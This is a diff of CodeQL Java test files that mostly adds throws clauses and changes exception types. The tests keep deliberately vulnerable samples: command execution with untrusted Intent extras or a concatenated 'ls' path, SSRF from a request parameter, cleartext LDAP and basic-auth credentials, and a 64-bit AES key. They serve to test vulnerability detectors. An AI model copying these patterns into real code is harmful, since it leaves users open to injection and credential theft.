a/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java index 51a92314c67..39614c82234 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java +++ b/java/ql/test/experimental/query-tests/security/CWE-312/CleartextStorageSharedPrefs.java @@ -20,7 +20,7 @@ public class CleartextStorageSharedPrefs extends Activity { } // GOOD - save sensitive information in encrypted format - public void testSetSharedPrefs2(Context context, String name, String password) { + public void testSetSharedPrefs2(Context context, String name, String password) throws Exception { SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); Editor editor = sharedPrefs.edit(); editor.putString("name", encrypt(name)); @@ -28,7 +28,7 @@ public class CleartextStorageSharedPrefs extends Activity { editor.commit(); } - private static String encrypt(String cleartext) { + private static String encrypt(String cleartext) throws Exception { // Use an encryption or hashing algorithm in real world. The demo below just returns its hash. MessageDigest digest = MessageDigest.getInstance("SHA-256"); byte[] hash = digest.digest(cleartext.getBytes(StandardCharsets.UTF_8)); @@ -37,7 +37,7 @@ public class CleartextStorageSharedPrefs extends Activity { } // GOOD - save sensitive information in encrypted format using separate variables - public void testSetSharedPrefs3(Context context, String name, String password) { + public void testSetSharedPrefs3(Context context, String name, String password) throws Exception { String encUsername = encrypt(name); String encPassword = encrypt(password); SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); @@ -49,7 +49,7 @@ public class CleartextStorageSharedPrefs extends Activity { // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx - public void testSetSharedPrefs4(Context context, String name, String password) { + public void testSetSharedPrefs4(Context context, String name, String password) throws Exception { MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) .build(); @@ -69,7 +69,7 @@ public class CleartextStorageSharedPrefs extends Activity { } // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx - public void testSetSharedPrefs5(Context context, String name, String password) { + public void testSetSharedPrefs5(Context context, String name, String password) throws Exception { MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) .build(); @@ -89,7 +89,7 @@ public class CleartextStorageSharedPrefs extends Activity { } // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx - public void testSetSharedPrefs6(Context context, String name, String password) { + public void testSetSharedPrefs6(Context context, String name, String password) throws Exception { MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) .build(); diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java index df46d6e69a9..a606017a27e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java @@ -3,7 +3,7 @@ import java.security.spec.ECGenParameterSpec; import javax.crypto.KeyGenerator; public class InsufficientKeySize { - public void CryptoMethod() { + public void CryptoMethod() throws java.security.NoSuchAlgorithmException, java.security.InvalidAlgorithmParameterException { KeyGenerator keyGen1 = KeyGenerator.getInstance("AES"); // BAD: Key size is less than 128 keyGen1.init(64); diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureBasicAuth.java b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureBasicAuth.java index 1f7be303471..c59af48e09b 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureBasicAuth.java +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureBasicAuth.java @@ -57,7 +57,7 @@ public class InsecureBasicAuth { /** * Test basic authentication with Apache HTTP POST request using the URI constructor with one argument. */ - public void testApacheHttpRequest4(String username, String password) { + public void testApacheHttpRequest4(String username, String password) throws Exception { String uriStr = "http://www.example.com/rest/getuser.do?uid=abcdx"; URI uri = new URI(uriStr); HttpRequestBase post = new HttpPost(uri); @@ -74,7 +74,7 @@ public class InsecureBasicAuth { /** * Test basic authentication with Apache HTTP POST request using a URI constructor with multiple arguments. */ - public void testApacheHttpRequest5(String username, String password) { + public void testApacheHttpRequest5(String username, String password) throws Exception { HttpRequestBase post = new HttpPost(new URI("http", "www.example.com", "/test", "abc=123", null)); post.setHeader("Accept", "application/json"); post.setHeader("Content-type", "application/json"); @@ -122,7 +122,7 @@ public class InsecureBasicAuth { /** * Test basic authentication with Java HTTP URL connection using the `URL(String spec)` constructor. */ - public void testHttpUrlConnection(String username, String password) { + public void testHttpUrlConnection(String username, String password) throws Exception { String urlStr = "http://www.example.com/rest/getuser.do?uid=abcdx"; String authString = username + ":" + password; String encoding = Base64.getEncoder().encodeToString(authString.getBytes("UTF-8")); @@ -136,7 +136,7 @@ public class InsecureBasicAuth { /** * Test basic authentication with Java HTTP URL connection using the `URL(String protocol, String host, String file)` constructor. */ - public void testHttpUrlConnection2(String username, String password) { + public void testHttpUrlConnection2(String username, String password) throws Exception { String host = "www.example.com"; String path = "/rest/getuser.do?uid=abcdx"; String protocol = "http"; @@ -152,7 +152,7 @@ public class InsecureBasicAuth { /** * Test basic authentication with Java HTTP URL connection using a constructor with private URL. */ - public void testHttpUrlConnection3(String username, String password) { + public void testHttpUrlConnection3(String username, String password) throws Exception { String host = "LOCALHOST"; String authString = username + ":" + password; String encoding = Base64.getEncoder().encodeToString(authString.getBytes("UTF-8")); @@ -161,4 +161,4 @@ public class InsecureBasicAuth { conn.setDoOutput(true); conn.setRequestProperty("Authorization", "Basic " + encoding); } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java index 14142d31b21..978a4df671b 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java +++ b/java/ql/test/experimental/query-tests/security/CWE-522/InsecureLdapAuth.java @@ -7,7 +7,7 @@ import javax.naming.ldap.InitialLdapContext; public class InsecureLdapAuth { // BAD - Test LDAP authentication in cleartext using `DirContext`. - public void testCleartextLdapAuth(String ldapUserName, String password) { + public void testCleartextLdapAuth(String ldapUserName, String password) throws Exception { String ldapUrl = "ldap://ad.your-server.com:389"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -21,7 +21,7 @@ public class InsecureLdapAuth { } // BAD - Test LDAP authentication in cleartext using `DirContext`. - public void testCleartextLdapAuth(String ldapUserName, String password, String serverName) { + public void testCleartextLdapAuth(String ldapUserName, String password, String serverName) throws Exception { String ldapUrl = "ldap://"+serverName+":389"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -35,7 +35,7 @@ public class InsecureLdapAuth { } // GOOD - Test LDAP authentication over SSL. - public void testSslLdapAuth(String ldapUserName, String password) { + public void testSslLdapAuth(String ldapUserName, String password) throws Exception { String ldapUrl = "ldaps://ad.your-server.com:636"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -49,7 +49,7 @@ public class InsecureLdapAuth { } // GOOD - Test LDAP authentication over SSL. - public void testSslLdapAuth2(String ldapUserName, String password) { + public void testSslLdapAuth2(String ldapUserName, String password) throws Exception { String ldapUrl = "ldap://ad.your-server.com:636"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -64,7 +64,7 @@ public class InsecureLdapAuth { } // GOOD - Test LDAP authentication with SASL authentication. - public void testSaslLdapAuth(String ldapUserName, String password) { + public void testSaslLdapAuth(String ldapUserName, String password) throws Exception { String ldapUrl = "ldap://ad.your-server.com:389"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -78,7 +78,7 @@ public class InsecureLdapAuth { } // GOOD - Test LDAP authentication in cleartext connecting to local LDAP server. - public void testCleartextLdapAuth2(String ldapUserName, String password) { + public void testCleartextLdapAuth2(String ldapUserName, String password) throws Exception { String ldapUrl = "ldap://localhost:389"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -92,7 +92,7 @@ public class InsecureLdapAuth { } // BAD - Test LDAP authentication in cleartext using `InitialLdapContext`. - public void testCleartextLdapAuth3(String ldapUserName, String password) { + public void testCleartextLdapAuth3(String ldapUserName, String password) throws Exception { String ldapUrl = "ldap://ad.your-server.com:389"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, @@ -107,7 +107,7 @@ public class InsecureLdapAuth { // BAD - Test LDAP authentication in cleartext using `DirContext` and string literals. - public void testCleartextLdapAuth4(String ldapUserName, String password) { + public void testCleartextLdapAuth4(String ldapUserName, String password) throws Exception { String ldapUrl = "ldap://ad.your-server.com:389"; Hashtable environment = new Hashtable(); environment.put("java.naming.factory.initial", @@ -131,7 +131,7 @@ public class InsecureLdapAuth { } // GOOD - Test LDAP authentication with `ssl` configuration and basic authentication. - public void testCleartextLdapAuth5(String ldapUserName, String password, String serverName) { + public void testCleartextLdapAuth5(String ldapUserName, String password, String serverName) throws Exception { String ldapUrl = "ldap://"+serverName+":389"; Hashtable environment = new Hashtable(); setSSL(environment); @@ -143,7 +143,7 @@ public class InsecureLdapAuth { } // BAD - Test LDAP authentication with basic authentication. - public void testCleartextLdapAuth6(String ldapUserName, String password, String serverName) { + public void testCleartextLdapAuth6(String ldapUserName, String password, String serverName) throws Exception { String ldapUrl = "ldap://"+serverName+":389"; Hashtable environment = new Hashtable(); environment.put(Context.INITIAL_CONTEXT_FACTORY, diff --git a/java/ql/test/experimental/query-tests/security/CWE-918/SpringSSRF.java b/java/ql/test/experimental/query-tests/security/CWE-918/SpringSSRF.java index ddd8ecc3dd6..a7d3cb32b87 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-918/SpringSSRF.java +++ b/java/ql/test/experimental/query-tests/security/CWE-918/SpringSSRF.java @@ -26,7 +26,7 @@ public class SpringSSRF extends HttpServlet { String fooResourceUrl = request2.getParameter("uri");; RestTemplate restTemplate = new RestTemplate(); HttpEntity request = new HttpEntity<>(new String("bar")); - + try { { ResponseEntity response = restTemplate.getForEntity(fooResourceUrl + "/1", String.class); @@ -68,5 +68,6 @@ public class SpringSSRF extends HttpServlet { { restTemplate.put(fooResourceUrl, new String("object")); } + } catch (org.springframework.web.client.RestClientException | java.net.URISyntaxException e) {} } } diff --git a/java/ql/test/library-tests/ExternalProcess/Test.java b/java/ql/test/library-tests/ExternalProcess/Test.java index c3554589282..ee29327ef90 100644 --- a/java/ql/test/library-tests/ExternalProcess/Test.java +++ b/java/ql/test/library-tests/ExternalProcess/Test.java @@ -43,28 +43,28 @@ class Test { new Bogus().exec("Irrelevant version of exec"); } - void apacheExecute1() { + void apacheExecute1() throws IOException { String line = "AcroRd32.exe /p /h some.file"; CommandLine cmdLine = CommandLine.parse(line); DefaultExecutor executor = new DefaultExecutor(); int exitValue = executor.execute(cmdLine); } - void apacheExecute2() { + void apacheExecute2() throws IOException { String line = "AcroRd32.exe /p /h some.file"; CommandLine cmdLine = CommandLine.parse(line, null); DefaultExecutor executor = new DefaultExecutor(); int exitValue = executor.execute(cmdLine); } - void apacheExecute3() { + void apacheExecute3() throws IOException { CommandLine cmdLine = new CommandLine("AcroRd32.exe"); cmdLine.addArguments("/p /h some.file"); DefaultExecutor executor = new DefaultExecutor(); int exitValue = executor.execute(cmdLine); } - void apacheExecute4() { + void apacheExecute4() throws IOException { CommandLine cmdLine = new CommandLine("AcroRd32.exe"); cmdLine.addArguments("/p /h some.file", false); DefaultExecutor executor = new DefaultExecutor(); diff --git a/java/ql/test/library-tests/RelativePaths/Test.java b/java/ql/test/library-tests/RelativePaths/Test.java index 860b7ffbecf..4c020819121 100644 --- a/java/ql/test/library-tests/RelativePaths/Test.java +++ b/java/ql/test/library-tests/RelativePaths/Test.java @@ -1,5 +1,5 @@ class Test { - public static void main(String[] args) { + public static void main(String[] args) throws java.io.IOException { // Relative paths Runtime.getRuntime().exec("make"); Runtime.getRuntime().exec("m"); diff --git a/java/ql/test/library-tests/commentedcode/CommentedCode.java b/java/ql/test/library-tests/commentedcode/CommentedCode.java index fa14ad7cc69..02bee2fe2f9 100644 --- a/java/ql/test/library-tests/commentedcode/CommentedCode.java +++ b/java/ql/test/library-tests/commentedcode/CommentedCode.java @@ -88,8 +88,8 @@ public class CommentedCode { *   ; *   ; */ + return -1; } - // public static int commentedOutMethod(){ // // return 123; diff --git a/java/ql/test/library-tests/dataflow/capture/A.java b/java/ql/test/library-tests/dataflow/capture/A.java index 2311179499a..8bc40f9ae77 100644 --- a/java/ql/test/library-tests/dataflow/capture/A.java +++ b/java/ql/test/library-tests/dataflow/capture/A.java @@ -32,7 +32,7 @@ public class A { case 0: return p; case 1: return s; case 2: return b1.getElem(); - case 3: return b2.getElem(); + default:return b2.getElem(); } } }; diff --git a/java/ql/test/library-tests/dataflow/taint-ioutils/Test.java b/java/ql/test/library-tests/dataflow/taint-ioutils/Test.java index 1d616184705..a6660c87252 100644 --- a/java/ql/test/library-tests/dataflow/taint-ioutils/Test.java +++ b/java/ql/test/library-tests/dataflow/taint-ioutils/Test.java @@ -8,7 +8,7 @@ import java.util.List; import org.apache.commons.io.IOUtils; class Test { - public static void ioutils() { + public static void ioutils() throws java.io.FileNotFoundException, java.io.IOException { InputStream inp = new FileInputStream("test"); // user input InputStream buf = IOUtils.buffer(inp); diff --git a/java/ql/test/library-tests/dataflow/taint-jackson/Test.java b/java/ql/test/library-tests/dataflow/taint-jackson/Test.java index 6c3a7dbf4b5..2caf9e4ee80 100644 --- a/java/ql/test/library-tests/dataflow/taint-jackson/Test.java +++ b/java/ql/test/library-tests/dataflow/taint-jackson/Test.java @@ -14,7 +14,7 @@ class Test { return "tainted"; } - public static void jacksonObjectMapper() { + public static void jacksonObjectMapper() throws java.io.FileNotFoundException, java.io.UnsupportedEncodingException { String s = taint(); ObjectMapper om = new ObjectMapper(); File file = new File("testFile"); @@ -32,7 +32,7 @@ class Test { System.out.println(reconstructed); } - public static void jacksonObjectWriter() { + public static void jacksonObjectWriter() throws java.io.FileNotFoundException, java.io.UnsupportedEncodingException { String s = taint(); ObjectWriter ow = new ObjectWriter(); File file = new File("testFile"); diff --git a/java/ql/test/library-tests/dataflow/taint/A.java b/java/ql/test/library-tests/dataflow/taint/A.java index e3a38d8e191..55fd9796586 100644 --- a/java/ql/test/library-tests/dataflow/taint/A.java +++ b/java/ql/test/library-tests/dataflow/taint/A.java @@ -15,7 +15,7 @@ public class A { sink(b2); } - void test2() { + void test2() throws IOException { ByteArrayOutputStream bOutput = new ByteArrayOutputStream(); bOutput.write(taint()); byte[] b = bOutput.toByteArray(); @@ -25,11 +25,11 @@ public class A { sink(b2); } - void streamWrite(ByteArrayOutputStream baos, byte[] data) { + void streamWrite(ByteArrayOutputStream baos, byte[] data) throws IOException { baos.write(data); } - void test3(ByteArrayOutputStream baos) { + void test3(ByteArrayOutputStream baos) throws IOException { streamWrite(baos, taint()); sink(baos.toByteArray()); } @@ -38,11 +38,11 @@ public class A { ByteArrayOutputStream baos = new ByteArrayOutputStream(); } - void streamWriteHolder(BaosHolder bh, byte[] data) { + void streamWriteHolder(BaosHolder bh, byte[] data) throws IOException { bh.baos.write(data); } - void test4(BaosHolder bh) { + void test4(BaosHolder bh) throws IOException { streamWriteHolder(bh, taint()); sink(bh.baos.toByteArray()); } @@ -51,7 +51,7 @@ public class A { byte[] data = new byte[10]; } - void test5_a(DataHolder dh) { + void test5_a(DataHolder dh) throws IOException { ByteArrayInputStream bais = new ByteArrayInputStream(taint()); bais.read(dh.data); test5_b(dh); diff --git a/java/ql/test/library-tests/dataflow/taint/B.java b/java/ql/test/library-tests/dataflow/taint/B.java index b53c49bdc39..81b007e6871 100644 --- a/java/ql/test/library-tests/dataflow/taint/B.java +++ b/java/ql/test/library-tests/dataflow/taint/B.java @@ -11,7 +11,7 @@ public class B { public static void sink(Object o) { } - public static void maintest() { + public static void maintest() throws java.io.UnsupportedEncodingException, java.net.MalformedURLException { String[] args = taint(); // tainted - access to main args String[] aaaargs = args; diff --git a/java/ql/test/library-tests/dataflow/taintsources/IntentSources.java b/java/ql/test/library-tests/dataflow/taintsources/IntentSources.java index 960bbff0bce..6f0051f0d10 100644 --- a/java/ql/test/library-tests/dataflow/taintsources/IntentSources.java +++ b/java/ql/test/library-tests/dataflow/taintsources/IntentSources.java @@ -4,21 +4,21 @@ import android.app.Activity; public class IntentSources extends Activity { - public void test() { + public void test() throws java.io.IOException { String trouble = this.getIntent().getStringExtra("key"); Runtime.getRuntime().exec(trouble); } - public void test2() { + public void test2() throws java.io.IOException { String trouble = getIntent().getStringExtra("key"); Runtime.getRuntime().exec(trouble); } - public void test3() { + public void test3() throws java.io.IOException { String trouble = getIntent().getExtras().getString("key"); Runtime.getRuntime().exec(trouble); @@ -29,9 +29,9 @@ public class IntentSources extends Activity { class OtherClass { - public void test(IntentSources is) { + public void test(IntentSources is) throws java.io.IOException { String trouble = is.getIntent().getStringExtra("key"); Runtime.getRuntime().exec(trouble); } -} \ No newline at end of file +} diff --git a/java/ql/test/library-tests/dataflow/taintsources/RmiFlow.java b/java/ql/test/library-tests/dataflow/taintsources/RmiFlow.java index eeab5a1fa09..69d7c9449ee 100644 --- a/java/ql/test/library-tests/dataflow/taintsources/RmiFlow.java +++ b/java/ql/test/library-tests/dataflow/taintsources/RmiFlow.java @@ -4,5 +4,5 @@ import java.rmi.Remote; import java.rmi.RemoteException; public interface RmiFlow extends Remote { - String listDirectory(String path); + String listDirectory(String path) throws java.io.IOException; } diff --git a/java/ql/test/library-tests/dataflow/taintsources/RmiFlowImpl.java b/java/ql/test/library-tests/dataflow/taintsources/RmiFlowImpl.java index eee65d5c64e..f75c6ddf2b7 100644 --- a/java/ql/test/library-tests/dataflow/taintsources/RmiFlowImpl.java +++ b/java/ql/test/library-tests/dataflow/taintsources/RmiFlowImpl.java @@ -1,13 +1,13 @@ package security.library.dataflow; public class RmiFlowImpl implements RmiFlow { - public String listDirectory(String path) { + public String listDirectory(String path) throws java.io.IOException { String command = "ls " + path; Runtime.getRuntime().exec(command); return "pretend there are some results here"; } - public String notRemotable(String path) { + public String notRemotable(String path) throws java.io.IOException { String command = "ls " + path; Runtime.getRuntime().exec(command); return "pretend there are some results here"; diff --git a/java/ql/test/library-tests/dispatch/ViableCallable.java b/java/ql/test/library-tests/dispatch/ViableCallable.java index 1e404463c05..f698ea0fb9d 100644 --- a/java/ql/test/library-tests/dispatch/ViableCallable.java +++ b/java/ql/test/library-tests/dispatch/ViableCallable.java @@ -36,7 +36,7 @@ class ViableCallable { i2.f("", 0l); } - TMock Mock() { throw new Exception(); } + TMock Mock() { throw new Error(); } void CreateTypeInstance() { Run(new C2(), null, null, null); @@ -63,7 +63,7 @@ abstract class C1 { M(x, 8); } - public void f(T1_C1 x, T2_C1 y) { throw new Exception(); } + public void f(T1_C1 x, T2_C1 y) { throw new Error(); } } interface I1 { @@ -80,27 +80,27 @@ interface I2 { class C2 extends C1 implements I1 { @Override - public T_C2 M(String x, T3_C2 y) { throw new Exception(); } + public T_C2 M(String x, T3_C2 y) { throw new Error(); } } class C3 extends C1 implements I2 { @Override - public Long M(String x, T3_C3 y) { throw new Exception(); } + public Long M(String x, T3_C3 y) { throw new Error(); } } class C4 extends C1 { @Override - public Boolean M(T_C4[] x, T3_C4 y) { throw new Exception(); } + public Boolean M(T_C4[] x, T3_C4 y) { throw new Error(); } } class C5 extends C1 { @Override - public Boolean M(String x, T3_C5 y) { throw new Exception(); } + public Boolean M(String x, T3_C5 y) { throw new Error(); } } class C6 extends C1 { @Override - public T2_C6 M(T1_C6 x, T3_C6 y) { throw new Exception(); } + public T2_C6 M(T1_C6 x, T3_C6 y) { throw new Error(); } public void Run(T1_C6 x) { // Viable callables: C6.M(), C7.M() @@ -113,7 +113,7 @@ class C6 extends C1 { class C7 extends C6 { @Override - public Byte M(T1_C7 x, T3_C7 y) { throw new Exception(); } + public Byte M(T1_C7 x, T3_C7 y) { throw new Error(); } public void Run(T1_C7 x) { // Viable callables: C7.M() @@ -129,11 +129,11 @@ class C7 extends C6 { class C8 extends C1 { @Override - public T2_C8 M(String x, T3_C8 y) { throw new Exception(); } + public T2_C8 M(String x, T3_C8 y) { throw new Error(); } } class C9 extends C8 { @Override - public Boolean M(String x, T3_C9 y) { throw new Exception(); } + public Boolean M(String x, T3_C9 y) { throw new Error(); } } diff --git a/java/ql/test/library-tests/dispatch/ViableCallable2.java b/java/ql/test/library-tests/dispatch/ViableCallable2.java index a1d17b63162..79ecc9d3cd0 100644 --- a/java/ql/test/library-tests/dispatch/ViableCallable2.java +++ b/java/ql/test/library-tests/dispatch/ViableCallable2.java @@ -20,10 +20,10 @@ class ViableCallable2 { } class A { - public void m() { throw new Exception(); } + public void m() { throw new Error(); } } class B extends A { @Override - public void m() { throw new Exception(); } + public void m() { throw new Error(); } } diff --git a/java/ql/test/library-tests/guards/Logic.java b/java/ql/test/library-tests/guards/Logic.java index a07890a4a75..afe646908a0 100644 --- a/java/ql/test/library-tests/guards/Logic.java +++ b/java/ql/test/library-tests/guards/Logic.java @@ -41,7 +41,7 @@ public class Logic { } private static void checkTrue(boolean b, String msg) { - if (!b) throw new Exception(msg); + if (!b) throw new Error (msg); } private static void checkFalse(boolean b, String msg) { diff --git a/java/ql/test/library-tests/guards/Test.java b/java/ql/test/library-tests/guards/Test.java index 59f63917b09..d4441f98fdd 100644 --- a/java/ql/test/library-tests/guards/Test.java +++ b/java/ql/test/library-tests/guards/Test.java @@ -3,7 +3,7 @@ class Test { void test(int x) { z = 0; if (x < 0) { - throw new Exception(); + throw new Error(); } int y = 0; while(x >= 0) { diff --git a/java/ql/test/library-tests/pathcreation/PathCreation.java b/java/ql/test/library-tests/pathcreation/PathCreation.java index dcdb28adf45..fcd1eed3e28 100644 --- a/java/ql/test/library-tests/pathcreation/PathCreation.java +++ b/java/ql/test/library-tests/pathcreation/PathCreation.java @@ -18,7 +18,7 @@ class PathCreation { File f = new File(new File("dir"), "sub"); } - public void testNewFileWithURI() { + public void testNewFileWithURI() throws java.net.URISyntaxException { File f = new File(new URI("dir")); } @@ -27,7 +27,7 @@ class PathCreation { Path p2 = Path.of("dir", "sub"); } - public void testPathOfWithURI() { + public void testPathOfWithURI() throws java.net.URISyntaxException { Path p = Path.of(new URI("dir")); } @@ -36,7 +36,7 @@ class PathCreation { Path p2 = Paths.get("dir", "sub"); } - public void testPathsGetWithURI() { + public void testPathsGetWithURI() throws java.net.URISyntaxException { Path p = Paths.get(new URI("dir")); } @@ -53,19 +53,19 @@ class PathCreation { Path p = Path.of("dir").resolve("sub"); } - public void testNewFileWriterWithString() { + public void testNewFileWriterWithString() throws java.io.IOException { FileWriter fw = new FileWriter("dir"); } - public void testNewFileReaderWithString() { + public void testNewFileReaderWithString() throws java.io.FileNotFoundException { FileReader fr = new FileReader("dir"); } - public void testNewFileOutputStreamWithString() { + public void testNewFileOutputStreamWithString() throws java.io.FileNotFoundException { FileOutputStream fos = new FileOutputStream("dir"); } - public void testNewFileInputStreamWithString() { + public void testNewFileInputStreamWithString() throws java.io.FileNotFoundException { FileInputStream fis = new FileInputStream("dir"); } } diff --git a/java/ql/test/library-tests/reflection/reflection/ReflectiveAccess.java b/java/ql/test/library-tests/reflection/reflection/ReflectiveAccess.java index 2a729af39fd..99687ea2649 100644 --- a/java/ql/test/library-tests/reflection/reflection/ReflectiveAccess.java +++ b/java/ql/test/library-tests/reflection/reflection/ReflectiveAccess.java @@ -14,7 +14,7 @@ public class ReflectiveAccess { return classContainingAnnotation.getAnnotation(annotationClass); } - public static void main(String[] args) { + public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException { Class testClass = Class.forName("reflection.ReflectiveAccess$TestClass"); testClass.newInstance(); diff --git a/java/ql/test/library-tests/successors/TestThrow2/TestThrow2.java b/java/ql/test/library-tests/successors/TestThrow2/TestThrow2.java index c3652aa161c..29f86a7bb58 100644 --- a/java/ql/test/library-tests/successors/TestThrow2/TestThrow2.java +++ b/java/ql/test/library-tests/successors/TestThrow2/TestThrow2.java @@ -5,8 +5,8 @@ class TestThrow2 { { try { thrower(); - } catch (Exception e) { + } catch (Throwable e) { ; } } -} \ No newline at end of file +} diff --git a/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java b/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java index 38549f5873c..7d78f8dbfef 100644 --- a/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java +++ b/java/ql/test/query-tests/CloseResource/CloseReader/CloseReader.java @@ -100,7 +100,7 @@ class CloseReader { private void init(InputStreamReader reader) { fileRd = new BufferedReader(reader); } - public void readStuff() { + public void readStuff() throws java.io.IOException { System.out.println(fileRd.readLine()); fileRd.close(); } diff --git a/java/ql/test/query-tests/ContinueInFalseLoop/A.java b/java/ql/test/query-tests/ContinueInFalseLoop/A.java index 14c4ee0e7aa..911d4146a66 100644 --- a/java/ql/test/query-tests/ContinueInFalseLoop/A.java +++ b/java/ql/test/query-tests/ContinueInFalseLoop/A.java @@ -32,14 +32,14 @@ public class A { // --- while, for loops --- - while (false) { + while (c.cond()) { if (c.cond()) continue; // GOOD [never reached, if the condition changed so it was then the result would no longer apply] if (c.cond()) break; } - for (i = 0; false; i++) { + for (i = 0; c.cond(); i++) { if (c.cond()) continue; // GOOD [never reached, if the condition changed so it was then the result would no longer apply] if (c.cond()) diff --git a/java/ql/test/query-tests/MissingCallToSuperClone/Test.java b/java/ql/test/query-tests/MissingCallToSuperClone/Test.java index 77efe645ef5..a236543a695 100644 --- a/java/ql/test/query-tests/MissingCallToSuperClone/Test.java +++ b/java/ql/test/query-tests/MissingCallToSuperClone/Test.java @@ -1,10 +1,10 @@ class IAmAGoodCloneable implements Cloneable { - public Object clone() { + public Object clone() throws CloneNotSupportedException { return super.clone(); } } -class Sub1 extends IAmAGoodCloneable { public Object clone() { return super.clone(); } } +class Sub1 extends IAmAGoodCloneable { public Object clone() throws CloneNotSupportedException { return super.clone(); } } class IAmABadCloneable implements Cloneable { public Object clone() { diff --git a/java/ql/test/query-tests/MissingInstanceofInEquals/GoodReturn.java b/java/ql/test/query-tests/MissingInstanceofInEquals/GoodReturn.java index 593469fe6fb..0de780e4162 100644 --- a/java/ql/test/query-tests/MissingInstanceofInEquals/GoodReturn.java +++ b/java/ql/test/query-tests/MissingInstanceofInEquals/GoodReturn.java @@ -3,7 +3,7 @@ class GoodReturn { @Override public int hashCode() { - getClass().hashCode(); + return getClass().hashCode(); } @Override diff --git a/java/ql/test/query-tests/Nullness/C.java b/java/ql/test/query-tests/Nullness/C.java index c9fe368a394..ac6a5f291da 100644 --- a/java/ql/test/query-tests/Nullness/C.java +++ b/java/ql/test/query-tests/Nullness/C.java @@ -171,7 +171,7 @@ public class C { private void verifyBool(boolean b) { if (!b) { - throw new Exception(); + throw new Error(); } } @@ -192,7 +192,7 @@ public class C { private void verifyNotNull(Object obj) { if (obj == null) { - throw new Exception(); + throw new Error(); } } diff --git a/java/ql/test/query-tests/RangeAnalysis/A.java b/java/ql/test/query-tests/RangeAnalysis/A.java index f2cb4918387..53fbc62f83b 100644 --- a/java/ql/test/query-tests/RangeAnalysis/A.java +++ b/java/ql/test/query-tests/RangeAnalysis/A.java @@ -5,7 +5,7 @@ public class A { public A(int[] arr2, int n) { if (arr2.length % 2 != 0) - throw new Exception(); + throw new Error(); this.arr2 = arr2; this.arr3 = new int[n << 1]; } @@ -168,7 +168,7 @@ public class A { if (n > 0) { a = n > 0 ? new int[3 * n] : null; } - int sum; + int sum = 0; if (a != null) { for (int i = 0; i < a.length; i += 3) { sum += a[i + 2]; // OK diff --git a/java/ql/test/query-tests/UseBraces/UseBraces.java b/java/ql/test/query-tests/UseBraces/UseBraces.java index c823456cd2a..756050b2c44 100644 --- a/java/ql/test/query-tests/UseBraces/UseBraces.java +++ b/java/ql/test/query-tests/UseBraces/UseBraces.java @@ -7,9 +7,9 @@ class UseBraces void f() { } void g() { } void h() { } - void test() + void test(boolean bb) { - int x, y; + int x = 0, y; int[] branches = new int[10]; // If-then statement @@ -67,27 +67,27 @@ class UseBraces // While statement - while(false) + while(bb) { f(); } g(); // No alert - while(false) + while(bb) f(); g(); - while(false) + while(bb ) f(); g(); // Alert g(); // No alert - while(false) + while(bb ) f(); g(); // Alert - while(false) + while(bb) if (x != 0) x = 1; // Do-while statement diff --git a/java/ql/test/query-tests/UselessComparisonTest/Test.java b/java/ql/test/query-tests/UselessComparisonTest/Test.java index 4b9d7488317..eafac84dea5 100644 --- a/java/ql/test/query-tests/UselessComparisonTest/Test.java +++ b/java/ql/test/query-tests/UselessComparisonTest/Test.java @@ -3,7 +3,7 @@ class Test { void test(int x) { z = getInt(); if (x < 0 || z < 0) { - throw new Exception(); + throw new Error(); } int y = 0; if (x >= 0) y++; // useless test due to test in line 5 being false diff --git a/java/ql/test/query-tests/UselessNullCheck/A.java b/java/ql/test/query-tests/UselessNullCheck/A.java index 017629ec516..009f5efadd3 100644 --- a/java/ql/test/query-tests/UselessNullCheck/A.java +++ b/java/ql/test/query-tests/UselessNullCheck/A.java @@ -7,7 +7,7 @@ public class A { new Object(); } catch(Exception e) { if (e == null) { // Useless check - throw new Exception(); + throw new Error(); } } } @@ -16,7 +16,7 @@ public class A { if (o instanceof A) { A a = (A)o; if (a != null) { // Useless check - throw new Exception(); + throw new Error(); } } 